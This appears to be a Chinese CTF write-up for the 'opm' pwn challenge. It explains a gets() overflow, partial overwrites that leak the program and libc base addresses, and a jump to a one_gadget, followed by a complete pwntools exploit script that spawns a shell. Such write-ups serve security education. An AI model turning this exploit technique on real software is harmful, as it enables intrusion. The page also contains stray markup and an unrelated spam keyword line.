<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    opm

    分析題目可得出數據結構如下:

    struct stru{
        int (func*)();
        char *name_ptr;
        int length;
        int punches;
    }

    }

    漏洞位置

    在add函數中存在兩個gets()函數,存在緩沖區溢出。

    利用思路

    觀察棧分布,gets()超過0x80長度后會覆蓋掉棧上的結構體變量,并且add函數中有2次覆蓋的機會,第1次覆蓋將會影響到length的存放,第2次覆蓋將會影響到punches的存放,以及kill函數的參數。

    在kill函數中,可以將傳進參數a1 + 8作為地址中的內容打印出來,以及將a1 + 0x18位置的內容以16進制的形式打印出來。在我們通過溢出控制傳入參數后可以做leak。
    利用思路

    觀察棧分布,gets()超過0x80長度后會覆蓋掉棧上的結構體變量,并且add函數中有2次覆蓋的機會,第1次覆蓋將會影響到length的存放,第2次覆蓋將會影響到punches的存放,以及kill函數的參數。

    在kill函數中,可以將傳進參數a1 + 8作為地址中的內容打印出來,以及將a1 + 0x18位置的內容以16進制的形式打印出來。在我們通過溢出控制傳入參數后可以做leak。

    從checksec中可以看到是保護機制全開的,所以我們需要leak出程序段基址和libc基址。結合kill函數和結構體的數據結構可以初步確定leak方式為覆蓋如kill的參數,使參數+ 8放的是函數的got表,使參數+ 0x18放的是程序段的地址,兩次leak不需要同時進行。

    難點就在于如何leak,由于gets()會在輸入后面加上\x00,所以我們并不能隨心所欲地將地址覆蓋成我們想要的地址,而只能覆蓋成以00結尾的地址,這就需要我們事先將got表布置在以08結尾的地址或將程序段地址布置在以18結尾的地址。若我們事先知道程序段的基址的話,可以通過在輸入name_ptr時輕松地將got表布置在08的地址。現在需要解決的問題就是如何得到程序段基址,即如何將程序段地址布置在18的地址,由于給punches賦值是在第二次覆蓋掉結構體后,所以不能用+ 0x18來進行leak,推翻上一段的利用思路。所以我們只能夠通過構造指向程序段的指針來利用第一個%s進行leak。

    在leak出兩個地址過后,由于show函數會將add函數返回的結構體的第一個8字節作為函數的入口地址執行該函數,而且add的返回值為我們第二次覆蓋后的結構體,可控,所以我們可以嘗試將該地址指向一個one_gadget就能起shell了。

    leak程序段基址 根據WriteUp分析了半天才看出來是怎么構造的,還是太菜了,這也是為什么這個利用思路寫的這么拖沓的原因。。。我們先多add幾次,將地址抬高到_d00的位置,再次add時,第一次覆蓋結構體時輸入0x81位,將結構體覆蓋為00xx,使后面的name_ptr、length、punches都寫到00xx后的地址上去,此時00xx + 8為name_ptr指針,指向name字符串,但這個name_ptr的值為d_,若我們能將后面一個字節覆蓋成00就可以在第二次覆蓋結構體時將結構體再次改為00xx去,利用kill打印出我們事先在_d00布置好的程序段地址。此時就利用字節不對齊的方式進行最低位改為00的操作,在將_d00布置好后的下一次add中的第一次覆蓋我們將結構體覆蓋為00xx此次add不觸發第二次覆蓋。然后再在下一次的add中的第一次覆蓋時,我們將結構體覆蓋為00xx - 15,覆蓋后會在對length進行賦值,即00xx - 15 + 16進行賦值時,將剛剛的d_最低位(地址為00xx + 9)覆蓋成00然后在第二次覆蓋時,將結構體又覆蓋會00xx,調用kill函數即可實現leak。

    my-exp

    from pwn import *
    
    local = 1
    
    if local:
        p = process('./opm')
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
        print 'time is up'
    
    def add(name , punches):
        p.recvuntil('(E)xit\n')
        p.sendline('A')
        p.recvuntil('name:\n')
        p.sendline(name)
        sleep(0.1)
        p.recvuntil('punch?\n')
        p.sendline(str(punches))
        sleep(0.1)
    
    def show():
        p.recvuntil('(E)xit\n')
        p.sendline('S')
    
    def debug():
        print pidof(p)[0]
        raw_input()
    
    elf = ELF('./opm')
    #one_gadget = 0x45216 0x4526a 0xf02a4 0xf1147
    
    #step 1 leak elf_base
    add('a' * 0x30 , 0x10)
    add('b' * 0x30 , 0x20)
    add('c' , 0x30)
    add('d' * 0x80 + '\x63' , 0x40)
    debug()
    add('e' * 0x80 + '\x54' , '1' * 0x80 + '\x63')
    #use 0054 + 0x10 (v6 -> length) to make a d00  ,  change 0054 to 0063 to point d00
    elf.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - 0xb30
    success('elf_base => ' + hex(elf.address))
    
    #step 2 use f00 to leak libc_base
    atoi_got = elf.got['atoi']
    success('atoi_got => ' + hex(atoi_got))
    add('f' * 8 + p64(atoi_got) , 0x50)
    add('g'  , 'g' * 0x80)
    libc.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - libc.symbols['atoi']
    success('libc_base => ' + hex(libc.address))
    
    #step 3 use 000 and show() to trigger one_gadget
    one_gadget = libc.address + 0x4526a
    add('h' * 0x60 + p64(one_gadget), '')
    add('i' * 0x80 , '')
    show()
    
    #debug()
    p.interactive()

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类